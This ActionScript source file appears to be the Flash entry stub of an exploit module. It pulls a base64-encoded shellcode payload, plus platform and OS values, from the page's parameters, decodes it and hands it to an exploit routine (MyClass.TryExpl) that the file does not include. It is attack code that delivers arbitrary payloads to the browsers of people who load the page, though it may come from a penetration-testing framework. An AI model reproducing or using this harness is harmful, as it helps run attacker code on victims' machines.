37 lines
1.0 KiB
ActionScript
Executable File
37 lines
1.0 KiB
ActionScript
Executable File
package
|
|
{
|
|
import flash.display.Sprite
|
|
import flash.events.Event
|
|
import mx.utils.Base64Decoder
|
|
import flash.display.LoaderInfo
|
|
import flash.utils.ByteArray
|
|
|
|
public class Exploit extends Sprite
|
|
{
|
|
private var b64:Base64Decoder = new Base64Decoder()
|
|
private var payload:ByteArray
|
|
private var platform:String
|
|
private var os:String
|
|
|
|
public function Exploit():void
|
|
{
|
|
//trace("Got to checkpoint 0");
|
|
if (stage) init();
|
|
else addEventListener(Event.ADDED_TO_STAGE, init);
|
|
}
|
|
|
|
private function init(e:Event = null):void
|
|
{
|
|
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
|
|
os = LoaderInfo(this.root.loaderInfo).parameters.os
|
|
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
|
|
var pattern:RegExp = / /g;
|
|
b64_payload = b64_payload.replace(pattern, "+")
|
|
b64.decode(b64_payload)
|
|
payload = b64.toByteArray()
|
|
|
|
removeEventListener(Event.ADDED_TO_STAGE, init);
|
|
MyClass.TryExpl(this, platform, os, payload)
|
|
}
|
|
}
|
|
} |